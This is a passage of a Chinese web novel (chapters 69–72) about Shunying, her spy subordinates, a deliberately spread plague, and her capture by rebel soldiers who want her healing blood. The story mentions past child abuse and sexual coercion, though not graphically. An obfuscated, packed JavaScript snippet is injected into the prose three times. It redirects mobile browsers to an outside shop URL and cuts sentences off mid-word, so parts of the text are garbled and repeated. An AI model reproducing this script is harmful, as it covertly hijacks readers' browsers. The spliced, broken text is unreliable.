舜英被这连串变故弄懵了,想了片刻,决定先抛开这事,追过去再说。 追了不知多久,直追到暮色四合、星光点点、天边新月如钩,才看到天玑在一座土坡前停住,坐下来缩成一团。天璇也不靠近,在离她二三丈远的地方停住。 好体能! 舜英此刻十分庆幸,自己出门前先吃了几块热糕。 正要去土坡跟前问清楚,天璇伸手拦了拦,幽幽道:“她此刻都有上吊的心,你若去了,只怕她马上抹脖子了。” 舜英不知所谓:“我怎么了?” 天璇怔怔看着她,突然流下两滴泪,咬压切齿道:“好!你不知道,你什么都不知道。” 舜英执掌飞廉的时候,对天璇、天玑、摇光三个女孩照拂得多些,容让习惯了。此时被天璇一怼,全然忘了自己也是女孩子,一头雾水指了指自己,摸不着头脑。 “王上对你上心了三四年你不知道。” 舜英有些懵:“现在知道不就好了?” “建业侯追求你,从栎东追到灵昌,为打听你的喜好到处打点,你也不知道。” 舜英脸刷地红了,恼羞成怒:“扯他作甚,与天玑有甚关系,她看上陛下还是苻洵了?” 天璇跺了跺脚:“她看上了你!” 晴空霹雳。 舜英霎时觉得,这世界已经癫得她快窒息了。 69. 疫病之源 不知怎的,舜英又想到苻洵,想到龙门行宫他略带哽咽的声音,垂眸注视地面时微红的眼圈,心底涌出一阵酸楚和愧疚。 怎么一遇上他,就不会好好说话了?就只会翻脸无情了? 舜英叹了口气,萧索地说:“可能、也许,我的确不太会处理情爱之事。” 天璇见她服软,也叹了口气:“怪不得你,怪我这个姐姐没护好她,归根结底还是滬南这破风俗。” “天玑小我两岁,从小就好看,又爱笑爱跳,瞧着就招人疼……” “你知道的,我爹是赌鬼,娘亲又只听爹的,只想拼儿子。我刚满十二岁,就去镇上的织造坊帮工,没什么空管她。” “有段时间,她有了几根漂亮头绳,我想着可能是家里有余钱了,娘给她买的。” “直到有天回去,她悄悄给我留了块饴糖,爹都舍不得买的,她让我不要告诉别人。” 舜英突然会意,一股恶寒冻得头皮发麻:“是谁?” 天璇颤了颤,声音哽咽:“不知道,眼馋她的人那么多……” “可能是村东头的老光棍、可能是村西头的痞子、可能是邻家的小男娃……可能都有份。” “我发现的时候已经晚了,不管被哪个男人触碰到,哪怕是爹……她都会起鸡皮疙瘩、失控尖叫,有时候还会呕吐。” 舜英静静看着在土丘下缩成一团的天玑,忽然想起几年前,第一次见到她们姐妹的时候。 她原本只看中了天璇,莳花馆的头牌,媚眼如丝、周旋于不同恩客,小小年纪却记得所有人的喜好,又从容又周全。 为什么,还是多买了一个? 当年的阿七,穿过走廊,一眼瞥见跪在风口的小小身影。 那么小,就要因为不接客被罚跪。 心一软,就脱了外袍给她披上。 跪在那一言不发的天玑忽然抬头,努力做出最妩媚的表情,看向她:“公子,我可以给你做妾吗?” “我会纺纱、会绣花、会做饭洗衣还会端茶倒水,如果公子需要,我还会暖床、生儿育女……” 扮相是冷艳风尘,眼底却燃着两团火。 “你说的这些,我都不要”,当年的阿七,对天玑伸出手去,笑了,“我需要有人,做我的妹妹。” . 夜风呜咽了不知多久,天玑仍缩在那,肩膀抽动、像是一直在哭。 天璇也不敢过去劝,只站在凉凉夜风里叹气:“那年首领在栎东溺水,她替你换过衣服,发现了你是女儿身。” “她先前厌恶男子,却不排斥与阿七公子接触。从栎东那事以后,那点心思怎么都压不住,又怕你知晓了觉得恶心……” “陛下对你好是她最早发现的,她偷偷开心了些时日。还说,陛下那样的好男人,若跟你成了,她放心。” “后来,陛下要娶高舒月。正好那时候,苻洵来了灵昌,找不到门路追求你,她观察了些时日,发现苻洵看似轻佻却从没真做过什么出格的事,还对你一往情深,于是偷偷托人传递讯息,漏了些你的行踪和喜好给他。” 舜英豁然开朗,怪不得在灵昌的时候,苻洵每次出现的时间地点、赠的礼都恰到好处。 又一次知晓苻洵曾对她那样用心,她霎时五味陈杂,分不清是高兴、感动还是无奈或恼怒。 “她虽有非分之想,更多还是想你过得好”,天璇觑着她神色变化,小心翼翼地问,“现在,你知道了她的心思,又看到了她一些……放浪行径,会不会也觉得她恶心,讨厌她了?” 她倒不反感,只感觉从头到尾,被一种莫大的荒诞和讽刺笼罩。 就连天玑那样,从小被臭男人欺负,一碰男人就恶心得想吐的可怜女子,学了武艺、有了身份地位,骨子里还是觉得,对另一个女人好,是替她撮合个好男人。 舜英一时无言以对,默了半晌,对天璇道:“我先回去写信,你在这看着她。” 她转过身一边走,脑子里一会儿是武煊刚受封国公之时,与她讨论她会得个什么爵位官位;一会儿是云飞燕神采飞扬在明德门下进进出出;一会儿是梦境里被不同男人欺凌、无力自保的云妃;一会儿是太常寺的两道圣旨:一道赐婚、一道封后。 别人的从龙之功就是高官厚禄、海阔天空,她的从龙之功就是两道圣旨、一桩大婚。 元旻还好意思说那是惊喜,什么叫惊喜,什么叫他娘的惊喜? 心里那股子憋闷和气恼越来越烈,走出了几步,忍无可忍转过身,对着土丘破口大骂。 “去他娘的贤良淑德、三贞九烈!” “老娘凭什么必须嫁人?为什么?为什么?” “什么阿猫阿狗都跑来掺合,就是不许我自己掺合,老娘就只有乖乖听话的命!” 土丘后面哭声停了,天璇天玑同时傻了。 舜英意识到自己失态,又不想塌台面,清清嗓子、换了话题继续骂。 “你给我听着,管你喜欢男的女的,只要没妨碍别人、没欺骗感情,谁都没资格管你。” “别人怎么看你不要紧,你得想清楚,自己要活成什么样?” “还有——敢对外泄漏首领私密,滚回来领罚!” 舜英骂了一阵,泪水不争气地直往下掉,身心却舒畅不少。跑了半夜才跑回客栈,这也是隐蝠卫在河州洪昌城的据点之一。 写完给元旻的信,将厚厚一摞纸装进纸糊的信函、封几层防水革囊,递给传令使。 想了想,又叮嘱道:“传信给开阳,让他调一半人回萝州。” “这封信到了萝州,转由玉衡亲自押送,必须昼夜兼程、亲手呈给王上。” 做完这一切后,天已蒙蒙亮,天璇天玑还未回来。舜英已累得两眼发虚,顾不上许多,回屋倒头就睡。 岂料,等了整整一个白天,她们都没有回来。 舜英察觉情况不对,立即带人去寻,跑了近五十里才到那土坡,搜寻了整整两天,直搜进九霄山。 终于发现了人,也发现了噩梦般的场景。 那是九霄山东麓,一溜建在山中的村子,空了不知多久。村口、路边、田间地头、茅屋内,全是浮肿腐烂的尸骸,没有伤口和血、流着乌黑的脓水,臭气熏天、蚊蝇乱飞。 该是多急的疫病,连收敛尸身的时间都没有。 越往西走,尸身腐烂得越严重,死亡时间越久。 “疫源就在这一带往西”,舜英肝胆俱裂,控制不住地颤栗,冲入房舍拖出正在搜寻的隐蝠卫,拼命大喊,“所有人,立即、马上撤出去!” 却已来不及,不到一盏茶工夫,跟随她进村的人已软绵绵倒下,头晕目眩、再无力站起。 她是在村西头发现天璇和天玑的,天璇追着天玑进来,进村前察觉形势不对,从随身携带的飞廉包袱里取出棉布、浸湿解毒药,蒙住了口鼻,此时虽状态萎靡,还能强撑着坐起来。 天璇抬起头,眼神一冷:“按时间推算,疫源不在这儿,更可能是九霄山西麓。” 综合这些天从萝州传来的讯息,一切都清楚了。 十九年前,郭洋率两万虎威军藏入九霄山,先是郑载弘念着故国旧情,节衣缩食养着他们;后是郑载云居心叵测,上位后借着凤鸣一年的大汛,为他们补充新丁扩充编制,伺机复国。 大约在三个月前、甚至更早,或许是练兵时无意闯入,或许是从别处得到消息。总之,郑载云发现了这一处与世隔绝的瘟疫村,并安排人试出了治疫的药。 然后,到了五月汛期,毁堤、淹田,引来钦差赈灾,再伺机在灾民里掺沙子,挑动暴乱。 待朝廷忍无可忍、发兵平乱,再扔几具染病的尸骸,栽给刚入驻的朝廷大军,致使大半个滬南民怨沸腾。 郑载云再站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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元晴却眼疾手快,一把攥住她受伤的手腕,然后,递过来一个巨大的牛角杯。 杯口在空中划了一道弧,顺轨迹接住方才飘落的几滴血。元晴用力挤压刀伤的周边,再挤出血,统统接进牛角杯,一滴都不浪费。 天璇瞠目结舌,天玑率先炸了:“五公主把咱们首领当血牛了?” 失血过多,舜英头晕目眩,忙抬手制止撸起袖子的天玑:“我信五公主,她靠谱。” “辛苦褚姐姐”,元晴还是那副笑盈盈的模样,“找到疫病源头了,借神鸟之血一杯,封印瘴疠之气。” 舜英见元晴小脸也是煞白的,双唇没一点血色,忧虑地问:“你怎么回事,放血放多了,还是禁术使多了?” 元晴毫不在意地耸耸肩:“都有,等忙完了这茬,回昇阳好生补补。” 说起昇阳,脸上浮出一丝敬畏,吐了吐舌头:“给各位打个商量,我放褚姐姐血这事,千万莫让四哥知道了。” 天璇忍俊不禁:“成,我们什么都没看见。”推了一把天玑,天玑忙不迭附和。 元晴一边接着血,一边唉声叹气:“还是来晚了……只能封住还没出来的,已蔓延开的瘴疠之气,还要辛苦三位好汉治疫。” 三位“好汉”抖了抖,感觉肩上担子又重了些。 元晴觑着舜英波澜不惊的脸,笑着问:“褚姐姐气定神闲,想是已胸有成竹?” 舜英晃了晃脑袋,赶开因头晕在眼前晃来晃去的金色光点,耳朵嗡嗡直响:“你说啥?” 元晴已接好血,忙示意天璇替她包扎,拍了拍她肩膀:“该说不说,你的血能治疫病千万别传出去,那么多人染病,把你抽成人干也不够用。” 叮嘱完这句,不再赘述,扭头翻身上马,风风火火扬长而去。 “我该去找山鬼和紫菀了。” “各位好汉,后会有期!” 放个血这样狠,元晴你大爷的! 这是舜英全身发冷、哆嗦着晕过去前,脑子里唯一的念头。 70. 位卑未敢忘忧国 万木春的后院中,郑锦珠、元旭、顾星阑、许姿四人,围着一张圆桌静坐,神情肃穆。 顾星阑先开口:“河州也有疫病了,除了上吐下泻,还会头晕四肢发软,发作很快,跟皋州和萝州的截然不同。” 许姿无奈道:“爹爹曾给我讲过,疫病传播久了,本就会发生异变。” 顾星阑好奇地问:“令尊与文端公交好,又如此博文广识,可否告知高姓大名,待末官前去拜会。” “拜会不了,过世很久了”,许姿叹了口气,“爹爹就是爹爹,肯定是姓许,名字就不知道了。” 顾星阑又问:“令堂可还在世,问一问?” 许姿摇了摇头:“没娘,爹爹一生未娶,我跟姐姐都是他收养的孤儿。” 于是,再无话可说。 郑锦珠忽然冷笑:“郑载文那只老狐狸,果然是装病,这会儿又精神了。” 元旭恨恨道:“他一抖擞,四州刺史和州兵又听他们的了,咱们又多余了……一群没心没肺的白眼狼。” 顾星阑语气很平静:“前段日子图咱们能治疫、少死些亲友,现下投靠更有力的郑载云,不足为怪。” 许姿气得跺脚:“这帮祸害,有可以治疫病的药,不早些拿出来用。” 郑锦珠冷笑:“拿出来得太早,民众未被逼到绝境,不会跪求他自立为王。” “他们也没讨到好,河州刚传来消息,刺史聂少城发疫病过世了”,门外传来玉衡的声音,“疫病会异变,他们点了这把火,越烧越烈,恐怕自己都无法控制了。” 郑锦珠一见他,忙站起来迎上去:“阿英有消息了?” 玉衡扬了扬手中的信,眼神凝重:“首领命我亲自送到王上手中,开阳手底下分了一半人,正在过来的路上。” 顾星阑也站起身,摇头道:“此时,我们在明处,人为刀俎我为鱼肉,多一些人、少一些人无关大局。” “只是,舒湛找到的人证可藏好了?” 玉衡笃定地点点头:“藏在一个,他们绝对想不到、找不到的地方。” “烦劳统领代臣奏请王上,郑载云毁堤淹田,请尽快来接走人证”,顾星阑松了口气,轻轻往外推了推玉衡,催促道,“既然如此,传信之事刻不容缓,请统领尽快出发。” 玉衡静静立在那,看着齐齐注视着他的四个人,眼圈红了,哑声问:“诸位,可有什么话、或是物件,需末将转交亲友?” “首领此信,是让王上发兵的!” 此言一出,所有人齐齐埋下头,院中霎时陷入可怕的死寂。 一旦大军压境,困守萝州的他们,才是真的人为刀俎、我为鱼肉。 良久,元旭率先出声:“我与母亲同生共死,并无遗憾,请首领转告王兄,小六也出息了。” 玉衡强笑着点点头。 顾星阑从容道:“人生自古谁无死,只是家中尚有妻小,末官一生清廉,家中余财甚少……” 玉衡郑重保证:“陛下必令忠臣无后顾之忧。” 顾星阑笑了,又请求道:“文端公辛佑安,是天下学子的表率。末官家祠之中,除了父母祖宗,还供奉了一张文端公的牌位……” “若有幸得史官寥寥数笔,能否将我记为辛公门生,使我子孙万代供奉?” 玉衡紧握住他双手:“文端公薨逝之后,所有出身贫寒的学子,都是他的门生,他配得上万世之香火。” 许姿眼中蓄满泪花,哽咽着絮絮叨叨:“告诉我夫君,续娶要找温柔些的,敢亏待咱们孩儿,做鬼都不放过他!” “还有,我爹和姐姐的牌位,早晚三炷香,一天都不准断!” 玉衡摸了摸鼻子,讪讪道:“这个……让人供着前妻一家子牌位不太好,不如你告诉我,我替你供?” “也成”,许姿吸了吸鼻子,悻悻道,“姐姐叫许娈,娈婉的娈。” 这爹怕不是有病,给自家女儿取这种风尘名字。 玉衡一边腹诽,一边追问:“你爹呢?” 许姿愣了愣,流下泪来:“不知道,从我懂事起,就跟爹住在昇阳北郊的独栋宅子里。” “爹总是外出,没人知道他叫什么、是做什么的,我小时候最盼望的,就是他从外地回来,多陪我些时候。” “二十年前春天,爹爹从外头抱回一个牌位,说上头的是我姐姐,莫忘了早晚三炷高香,四时供奉不断。” “十年前,我在家中待嫁,他说要带九箱最好的绫绢回来,给我做嫁妆。” “我等啊等,等了整整十年,成婚了、孩子大了,他却再也没回来……” “后来才知道,全大翊最好的绫绢产地,在萝州。我来这里找了很多次,始终毫无音讯。” “六月底,褚少卿去司农令司借人下滬南,我又跟来了,舍不得放弃。” 众人沉默了,都不知如何安慰这两度失怙的女子。 顾星阑叹了口气,提醒她:“就算不知名讳,可有小像之类的?” “有”,许姿一拍脑门,飞快冲进卧房,“我偷偷画的……爹让我烧掉,我舍不得。” 片刻后,玉衡盯着她缓缓展开的卷轴,瞳孔骤然放大,悚然道:“大统领?!” 发黄的宣纸上,线条精致、粉彩细腻,栩栩如生画着一位三十多岁的男子,身高七尺、黑袍黑氅,轮廓流畅、眉清目秀、肌肤煞白,赫然是供奉在隐蝠卫英烈祠最中间的那个人。 前隐蝠卫大统领——许一舟。 . “阿娈,这几天在临仙阁伴驾,感觉如何?”灰蒙蒙的雾气里传出熟悉的女声,是云妃。 灰雾散去,依然是那间简陋的房舍,朽烂的木窗门板,糊着薄脆的白纸,只是墙面的秽物已被清理,八仙桌、帷帐、床褥都清洗过,清新的皂角味混着兰麝香气,与湿漉漉的水汽融为一体。 舜英变成的玉佩,被丢在枕边。昏黄的烛光下,屋子中央有一个大浴桶,热气蒸腾中,两名女子莹白的肌肤、黑亮的长发若隐若现。 除了风姿绰约的云妃,叫“阿娈”的女子如含苞待放的芙蓉,稚气未脱的面容上有一对漂亮的梨涡。 云妃洁白细腻的后背上,交错密布着一道道鞭痕、勒痕和淤青,阿娈正用棉布替她擦去水珠,挑出药膏抹在伤处。 一边搽药,一边轻声道:“郑尧嘉是个病秧子,挺温柔的……虽说好色,却对每个女人都很怜惜,不像萧胤那么难伺候…” 心疼地抚过云妃后背淤青,咬牙切齿道:“这些武官是不是都有病,兴致一来就是大半宿,要多粗鲁有多粗鲁。郭越这个老畜生,看着道貌岸然,癖好还挺多。” 云妃低头,唇角微弯:“若非如此,我哪来的机会示弱,不惹怀疑就接近郭越?” 说着说着,笑靥如花:“有失有得,如今,他已嫌这破屋子不能尽兴,隔三差五就让我去他书房伺候,有下属在也不避讳,倒探到不少有用的线报。” 越笑越大声,直笑到全身发颤,紧紧闭上眼眸,把两滴泪关进眼眶:“我痛些算什么,为了送我到郭越身边,绿梅丢的,可是整整一条命啊。” 阿娈搽药的手一顿,唇边露出凄凉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981280|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑:“首领,阿娈这次来是告别的,萧胤要班师回朝了。” “我啊,从处心积虑爬上龙床那一刻,已注定不能善终……” “一国之君侮辱臣妻,萧胤才高气傲,君臣离心已势在必行。运气好些,我有机会在萧胤跟前一头撞死,栽给郑尧嘉;运气不好,我大概会被萧胤千刀万剐吧!” 云妃颤颤伸出手去,摸了摸阿娈的头发,几度张嘴,却哽咽着什么都说不出来。 许久之后,二人穿好衣裙,舜英被提起来,挂在云妃腰间。 头顶传来云妃悲怆的声音:“阿娈,你先走一步,成就大业之后,我来地府找你。” 阿娈已走到门口,听到这话,后背一僵,回身扑过来、紧紧搂住她,带着哭腔嘶喊:“首领,从征和二年春被送到滬国,咱们死了多少人,个个都不得好死!” “被打、被骂、被猜忌、被羞辱,时刻如履薄冰,从这个男人到那个男人,被轮番糟蹋还得曲意迎合,眼睁睁看着同伴惨死还要若无其事、强颜欢笑……” “这一切,值得吗?” 云妃颤栗了片刻,强自稳定心神,抚摸着阿娈后背,声音轻柔而坚决:“值得。” “兵者,诡道也,素以密成。咱们探听越多消息,翊军在战场上的胜算越大。” 门“嘎吱”一声开了,走进来一袭黑袍黑氅,同时传来男子的声音:“大翊南征,你们救了至少十万人命。” “征和四年秋,郭越发兵十万攻打龙城的消息送到昇阳,陛下才能及时从朔北调回骑兵,在龙城严阵以待。” “两个月后,又获悉郑尧嘉怯战,命郭越班师回朝,陛下才能早作准备,坚壁清野。” “征和五年春,我朝水师正对着偌大国境线无处下手,是你们传出各地大致的兵力分布。” “一直以来,你们各司其职,挑拨得滬国朝廷君与臣、臣与臣嫌隙横生,矛盾越来越大,无法合力抵御翊军。” “征和五年秋,由阿云牵头,你们将探听的消息整合后,摸索绘出详细的滬国军防图,至少六七分接近实际布防。” “翊军攻滬,能次次未雨绸缪、节节胜利,且伤亡之数极少,皆因你们之功。你们为国效的力,不逊于大将军贺浮白!” 阿娈松开云妃,怔愣着看向许一舟,眼里逐渐有了光:“原来如此……” 眼神带着些许期待:“求大统领一件事,阿娈死后无颜面对父母家人,却怕无人探视供奉,太孤单了。” 许一舟声音哽咽:“阿娈,我许一舟子女缘薄。你若愿意,我带你牌位回昇阳,供入许氏家祠,让义女阿姿执女弟之礼,早晚三炷高香,四时供奉不断。” 阿娈点点头,含泪笑道:“值了,大统领和首领请珍重自身,阿娈此去,后会无期。” 敛衽一礼,头也不回地向外走去。 云妃跟着走出去,只见院里齐齐整整,站着几十条人影,有男有女、有老有少,静静看着走出来的两女一男。 “能赶过来的,只有这些了。” 许一舟撩开衣袍下摆、双膝弯曲跪了下去,压低声音痛呼:“送许娈小姐上路!” 院中人影齐齐下跪,看着那道稚嫩柔弱的背影消失在院门外,昏暗的灯光下,有泪珠跌落尘埃。 许一舟站在檐下,看着密探一个个散去,又转过头,静静凝视着走进屋内、摘下玉佩放到桌上的云妃,酝酿许久,艰涩地开口:“阿云,有个人托我找你。” “他叫元璟,是陛下胞弟,在家中排行第九,好白龙鱼服、游山玩水,自称‘阿九’。” 71. 离人怨 云妃后背一僵,却没有回头,只静静站那,动也不动,听他款款叙说—— “九殿下说,四年前他在金州乡下,与小吏崔长嵘之女阿云相恋。当时年轻气盛、思虑不周,同她吵了几句,一赌气跑回了昇阳。” “他很后悔,过了些时日再去找,却怎么都找不到。所有人……包括崔长嵘,都告诉他,没有阿云这个人。” “他疯了似的找了大半年,仍一无所获,只好求到陛下跟前,想借用隐蝠卫,然后被陛下骂了。” “为了让陛下松动,他开始大力协助陛下筹备南征,军师辛佑安和大将军贺浮白,都是他从碧宁书院举荐的。” “阿云,他为了等你,至今未婚。” 云妃一直静静听着,忽然开口、语调讥诮:“所以,大统领意欲何为?” 许一舟往前走了几步,急切地伸出手:“你若愿意,我想法子送你出去,破镜重……” “我不愿意!”云妃冷声打断。 许一舟愣了愣,眼巴巴盯着她,哀求道:“你放心,这里的一切,他都不会知道。” “不知道,就是没发生过么”,云妃唇角弯了弯,走向八仙桌,“一舟,给我留些尊严,他是我这辈子最不想再见到的人。” “他越好,我越不愿以此面目与他重逢。” 舜英发现,云妃在做一些不情愿的事之前,总会先摘下玉佩放到一旁,像是在避讳什么。 就像她已身在地狱,却不愿那痴心的少年知晓分毫,哪怕只是一瞥。 桌上用镇纸压着一叠棉纸,纸上是鲜血抄写的蝇头小楷,整整一部《灵宝经》,已干涸得微微发黄。 云妃唤来门外侍立的宫婢,嘱咐她务必将血经送到郑尧嘉跟前。 “妾听闻陛下有恙,担忧之余、思念不能自抑,唯有抄此血经,为他祈福。” 目送宫婢离去,她又坐到老旧的梳妆台前,开始对着锈迹斑驳的铜镜描眉。 “听说如今滬国形势太差,郑尧嘉也坐不住、开始理政了,所以我得想法子复宠。” “所以,你又要给郑尧嘉侍寝了?” 许一舟走过去,注视着她梳妆的一举一动,忽然拿起了梳子,替她梳理如瀑的黑发,动作又轻又柔。 描眉的石黛停住,云妃从镜中看了他许久,却没有制止。 唇角勾起一抹苦涩笑意:“给不给郑尧嘉侍寝,于我,有区别么?” 许一舟不再说话,隔着镜面,一人一影静静对视。 “一舟,告诉他,我在入滬国那年就死了。记得替我编个体面些的死法。” 屋外夜风呜咽,衬得屋子里愈发死寂。 过了不知多久,许一舟轻声说:“阿云,求求你,不要死。我此生最后悔的事,是把你从金州带出来。” “求求你,给我个机会,更正这个错误,把你好好地带回去。” 转过身、大步走向门外,任冰凉的夜风将眼角泪水一并拂去。 . 灰雾翻卷了许久,由灰转青蓝,许久都未散去。 舜英脚酸腿软地躺在青色烟雾里,后背触感冰冷而粗粝,头昏昏沉沉的,眼前黑一阵白一阵,无数金色光点乱舞。 从幻境出来了?那这青色烟雾算怎么回事? 抬手扶额,却抬不起来,偏过头瞥了一眼,一股森寒蓦地窜上后脊。 这是一方烟熏雾绕的山洞,她被捆在一块大石头上,双臂被张拉开,双腿被捆拢。手腕、脚腕、腰腹都被厚革带捆住,硝过的牛革末端牵着铁链,紧紧钉入地面。 全身的发力点都被紧紧捆住,动弹不得。 这又是在哪个阴沟里翻了船? 竭力转头往山洞深处看,适应了黑暗后,她看到了被五花大绑扔在地上的天璇天玑,还有其他几个跟她出门寻人的女子。 更可怖的是,她们的衣裙上溅满星星点点血迹。舜英无法起身,但是可想而知,自己衣服也干净不到哪里去。 那蓝色的烟雾,是有人捂了堆艾草在熏。 山洞口照进的光一暗,烟雾被带起,洞口传来嘈杂的脚步声和七嘴八舌的男声。 “洞里那个女的,真是药人?” “亲眼所见,有病人服下她的血,不到一柱香就活过来了。” “太好了,军中染病的兄弟有救了。” “程军侯,你说那个女的这么瘦,能抽多少血?” “瘦是瘦,长得好看啊……军侯,能不能别太快弄死了……” “咱们郭将军尚未婚配,最好看那个就别想了,剩下那几个也长得不错,嘿嘿……” 一个雄浑的男声打断鸡吵鹅斗。 “闭嘴,这件事若让郭将军晓得分毫,看他不军法处置了你!” 舜英暗嘲,有意思的,都进村劫掠杀人了,还有脸说军法。 有人不满地说:“郭将军好是好,可有时也太不通人情了。兄弟病了一片,都不肯下山去抢药材,非等小郭将军送。” 又有人附和:“论变通,还得数小郭将军,不愧是老太尉的儿子。” “是啊,小郭将军说,外面药材没药人好用,五天后拔营,那几个女的拿来犒军。” 又是那雄浑的男声呵斥了他们。 “抽血得慢慢来,病的兄弟多,别一天就把她抽死了。” “五天后拔营,留些人在这照应病了的兄弟,这药人是救星,务必好吃好喝养着。” “至于那几个女的,都不准动,除非小郭将军说通了郭将军。谁乱动了,军法处置!” 舜英猜到他们是谁了。 哑然失笑,这郭洋倒算是条汉子,藏在九霄山的虎威残部还算军纪严明。却不知他们口中的小郭将军又是谁?莫非是…… 正思索着,身形魁梧的军侯已走了进来,在她左边半蹲下,攥住她胳膊往下捋,挤出血来,取出木碗珍惜地接住。 “我有几千兄弟感染疫病,不得已伤了姑娘性命,冤有头债有主。”程军侯一边接血,一边低声喃喃道。 舜英张了张嘴,嗓子干哑得像公鸭:“喂,慢点抽,有吃的没拿点来。” “还有——要不要谈一笔交易。” 程军侯似是没想到,她都落到这副田地了,还如此气定神闲,惊得一哆嗦,木碗晃了晃、溅落几滩血。 舜英眼前一阵阵发晕,胸口恶心欲呕,强撑着笑道:“我有法子,让你们得到足够的药材,只要带我去见郭洋。” 程军侯抬起头看着她,双眸亮了亮又黯淡下去,依然低下头去,不紧不慢地继续挤血。 “无论你是谁,我都不想听了。咱们虎威军,被骗了太多次……” “郑载弘说好要养着咱们,却一边给送粮草,一边劝郭将军悄悄解散了,他想法子替咱们遮掩。” 舜英暗叹,他没有骗你,他是真的想保全你们。 “十年前,小郭将军上山来,说时机到了,从营中抽了一千五精锐,却一去不复返。” 十年前,龙川湖暴乱。 “一天又一天,短吃少穿缺药,刚进来的两万兄弟,剩下不到一万。五年前,小郭将军忽然带了四万新兵进来。” “老幼妇孺都有,有的是受龙川湖起义牵连之人的家属,有的是大汛中无家可归的人。” “小郭将军说,现在滬国是郑载云在主事,他快当沵州刺史了,往后兄弟们不会再短缺了。” 果然是郭皓,舜英试探着问:“那你为何说,又被骗了?” “五个月前,小郭将军上山,说认识一位萧二郎,得了一种治疗时疫的药物,他想利用疫病来襄助起义。郭将军本是不答应的,说伤阴骘,耐不住郑载云一直催,只好派人去……果然找到了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981281|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “先头几个月,他们给的药有用,近半个月突然就不管用了……我们又被骗了。” 程军侯结接了满满一碗血,递出去,却不再继续取血。而是替她草草包扎了一下,拿出个馒头喂到她嘴边。 舜英正思索那萧二郎又是谁,饿了许久、也不客气,咬了满满一口,一边咀嚼一边往洞内方向偏了偏头:“多谢,我的朋友们怎样了?” “姑娘好定力,末将佩服”,程军侯幽幽道,“你们都不是普通人吧?有官身,替翊王做事?” 舜英不再咬馒头,注视着他:“你们这次行动,瞒着郭洋的吧?她们究竟怎样了,还有几个男的呢?” “她们身手太好,抓住后灌了迷魂药,只是睡过去了”,程军侯顿了顿,眼中忽绽出一丝快意,“女的可以犒军,男的全都杀了!” 蓦地,一股怒火和着剧痛,从胃腹直冲头顶,舜英偏过头,喉咙喷出一股热流,正是方才咽下的馒头,不偏不倚尽数喷在他衣上。 袍泽的死、挚友即将遭遇的悲惨摆在眼前,她再也顾不上什么曲意斡旋。 “你们这些禽兽!”尖声怒吼着,她偏过头,狠狠一口咬住程军侯手腕,那是她脖颈能伸长的极限。 程军侯拼命往外扯,非但未让她松口,反带着一块皮肉被扯下。衣上秽物和血混在一起,贴在身上又热又黏,吃痛的他不作多想,捏拳就冲舜英脸颊挥去。 眼看那沙包大的拳头越来越近,舜英全身被缚,避让不开,只好闭上双眼,准备硬生生领受。 预料中的剧痛却未落下,头顶有森冷的寒气扫过,紧跟着滚烫的腥臭黏稠泼了一脸。 兵戈交接声,血流声、惨叫声此起彼伏。 上方传来熟悉的声音,带着欣然笑意:“姐姐别怕,我来了。” 听到那声音,她十分希望自己也晕着,眼睛都不想睁开,头轻轻偏向另一个方向。 上方的轻笑停住了。 凉爽湿润的丝帕擦过她下颌、双唇、双颊、前额,擦拭她眉眼时顿了一顿。 “不知在下做过什么天怒人怨之事,惹得王后殿下厌憎至此,竟连看都不愿看一眼?” 语调凉飕飕的,一阵风被带起,吹来芳润的甘甜木香,像是上品龙涎香。 苻洵绕着捆她的石块走了大半圈,走到她脑袋偏过去的方向。香气越来越浓,近在咫尺,却是他闲闲地在石块上坐了下来。 舜英莫名心虚,无奈道:“不好好在荣国当你的将军,跑来这儿做什么?” 晃了晃脖子,想将头偏向另一个方向,却在转到正中时,被一双手按住,就那样卡在仰视的姿态。 “因为我脑子有病”,苻洵的声音听不出起伏,“明明她看都不愿看我一眼,我却总挂怀她安危,忍不住横跨半疆、偷潜异国去寻她。” 这阴阳怪气的调调…… 苻洵坐在那半晌,见她一言不发,忽然笑了:“你究竟是不想看我,还是不敢看?” 她干脆死猪不怕开水烫,双眼紧闭,却无法自抑地、心突突直跳,一阵刺痛、激得浑身微颤。 无数画面在黑暗的视野里飞速掠过,灵昌南郊与苻洵踏青之后,这些画面就一直困扰着她,破碎而模糊;洛京会盟后,这些画面逐渐清晰,却依然是零散的,她不知什么时候发生过,也分不清是真是幻。 他换好红色锦袍出来,纤细而倔强,像精美细腻的瓷娃娃,好看到惊艳。她含笑注视着他,替他整理衣袍祍、襟,再为他绾起头发、别上发簪。 她将私房钱袋掂了又掂,在买得起的范围内选了最贵的一块玉佩,戴在他腰间,但她觉得值。 她站在伊河边,对那一袭消失在风沙中的背影挥手,扬声呼喊:“阿洵,不要忘了我,你是我第一个朋友”。 她在漫天烟花里抬眸,看着对面的他,心跳无端漏了半拍。 72. 意难平 “……总要有人先主动走近对方,你要不要试试,或许我更适合你?” “怎么试?” 他的脸停在咫尺,她心口毫无预兆地开始震颤,一种前所未有的悸动传遍全身,情不自禁闭上眼,嘴唇生涩地靠向他。蜻蜓点水的瞬间,她感觉眼前绽放出大片鲜花,脑子一片空白,这体验新奇而愉悦。 